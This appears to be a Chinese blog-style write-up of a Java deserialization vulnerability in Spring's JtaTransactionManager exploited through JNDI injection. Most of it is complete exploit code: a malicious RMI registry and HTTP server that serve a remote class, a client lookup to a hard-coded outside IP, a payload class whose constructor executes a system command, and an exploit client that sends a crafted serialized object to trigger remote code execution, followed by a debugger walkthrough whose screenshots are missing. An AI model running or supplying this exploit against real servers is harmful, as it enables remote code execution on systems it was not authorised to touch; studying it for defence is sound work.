Spring framework 反序列化的漏洞

理解这个漏洞需要先看freebuff上的jdni的小例子。

jndi注入在jdk8u121绕过参考这俩篇文章：

https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

server端代码：

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.net.httpserver.HttpServer;

import javax.naming.Reference;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JndiPoc {
    public static void lanuchCodebaseURLServer() throws IOException {
        System.out.println("Starting HTTP server");
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(8009), 0);
        httpServer.createContext("/", new HttpFileHandler());
        httpServer.setExecutor(null);
        httpServer.start();
    }
    public static void lanuchRMIregister(String server_ip) throws Exception {
        System.out.println("Creating RMI Registry");
        Registry registry = LocateRegistry.createRegistry(2222);
        // 设置code url 这里即为http://127.0.0.1:8000/
        // 最终下载恶意类的地址为http://127.0.0.1:8000/ExportObject.class
        String evil_ip="http://"+server_ip+":8009/";
        Reference reference = new Reference("ExportObject", "ExportObject", evil_ip);
        // Reference包装类
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        try {
            registry.bind("aa", referenceWrapper);

           // registry.bind("gsrc_ejbobject",referenceWrapper);
        }catch (Exception e){
            System.out.println("e.getCause().getCause().getCause().getMessage()");
        }

    }
    public static void main(String[] args) throws Exception {
        lanuchCodebaseURLServer();
        lanuchRMIregister("127.0.0.1");
    }

}

client代码：

import javax.naming.*;
public class Jndi_Client {
    public static void main(String[] args) throws Exception {
        String uri="rmi://121.195.170.196:2222/aa";
        Context ctx=new InitialContext();
        ctx.lookup(uri);
    }
}

lookup参数uri可控，将uri注入恶意ip的rmi服务，触发实例化恶意类构造方法调用。

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ExportObject{
    /*
    public static void main(String args[]) throws Exception {

    }*/

    public ExportObject() throws Exception {
      String OS=  System.getProperty("os.name").toLowerCase();
        String cmd="open /Applications/Calculator.app";

      if(OS.indexOf("win")>=0)
      {
        cmd="calc.exe";
      }

     //String cmd="open /Applications/Calculator.app";
        Runtime.getRuntime().exec(cmd);
    }

}

下面具体看Spring framework 反序列化的漏洞

Server端代码：

imort java.io.*;
import java.net.*;
public class ExploitableServer {
	public static void main(String[] args) {
		try {
		//本地监听1234端口
			ServerSocket serverSocket = new ServerSocket(1234);
			System.out.println("Server started on port "+serverSocket.getLocalPort());
			while(true) {
				Socket socket=serverSocket.accept();
				System.out.println("Connection received from "+socket.getInetAddress());
				ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
				try {
				//执行接收到类的readObject方法
					Object object = objectInputStream.readObject();
					System.out.println("Read object "+object);
				} catch(Exception e) {
					System.out.println("Exception caught while reading object");
					e.printStackTrace();
				}
			}
		} catch(Exception e) {
			e.printStackTrace();
		}
	}
}

client端：

import java.io.*;
import java.net.*;
import java.rmi.registry.*;
import com.sun.net.httpserver.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;

public class ExploitClient {
	public static void main(String[] args) {
		try {
			String serverAddress = "127.0.0.1";
			int port = Integer.parseInt("1234");
			String localAddress= "127.0.0.1";

			System.out.println("Starting HTTP server");   //开启80端口服务
			HttpServer httpServer = HttpServer.create(new InetSocketAddress(81), 0);
			httpServer.createContext("/",new HttpFileHandler());
			httpServer.setExecutor(null);
			httpServer.start();

			System.out.println("Creating RMI Registry"); //绑定RMI服务到 1099端口 Object  提供恶意类的RMI服务
            Registry registry = LocateRegistry.createRegistry(1099);
            /*
            java为了将object对象存储在Naming或者Directory服务下，
            提供了Naming Reference功能，对象可以通过绑定Reference存储在Naming和Directory服务下，
            比如（rmi，ldap等）。在使用Reference的时候，我们可以直接把对象写在构造方法中，
            当被调用的时候，对象的方法就会被触发。理解了jndi和jndi reference后，
            就可以理解jndi注入产生的原因了。
             */ //绑定本地的恶意类到1099端口
        	Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":81"+"/");
			ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
            registry.bind("Object", referenceWrapper);

			System.out.println("Connecting to server "+serverAddress+":"+port); //连接服务器1234端口
			Socket socket=new Socket(serverAddress,port);
			System.out.println("Connected to server");
			String jndiAddress = "rmi://"+localAddress+":1099/Object";

			//JtaTransactionManager 反序列化时的readObject方法存在问题 //使得setUserTransactionName可控，远程加载恶意类
			//lookup方法会实例化恶意类，导致执行恶意类无参的构造方法
			org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
			object.setUserTransactionName(jndiAddress);
			//上面就是poc,下面是将object序列化发送给服务器，服务器访问恶意类
			System.out.println("Sending object to server...");
			ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
			objectOutputStream.writeObject(object);
			objectOutputStream.flush();
			while(true) {
				Thread.sleep(1000);
			}
		} catch(Exception e) {
			e.printStackTrace();
		}
	}
}

server与client交互流程：



漏洞触发点：



下断点调试，前面client都是绑定操作,直到执行到43行，将恶意的rmi地址写入：



46行将恶意类发送到Server端，server端执行JtaTransactionManager类的readObject：



跟到616行：



f7跟到173行：



继续f7跟到247行，调用了looup方法：



继续跟进94行，name 传进的值是之前绑定的恶意类的地址，lookup方法会调用恶意类的构造方法。



跟到恶意类构造方法，触发RCE.



参考链接：

https://www.freebuf.com/vuls/115849.html

https://paper.seebug.org/312/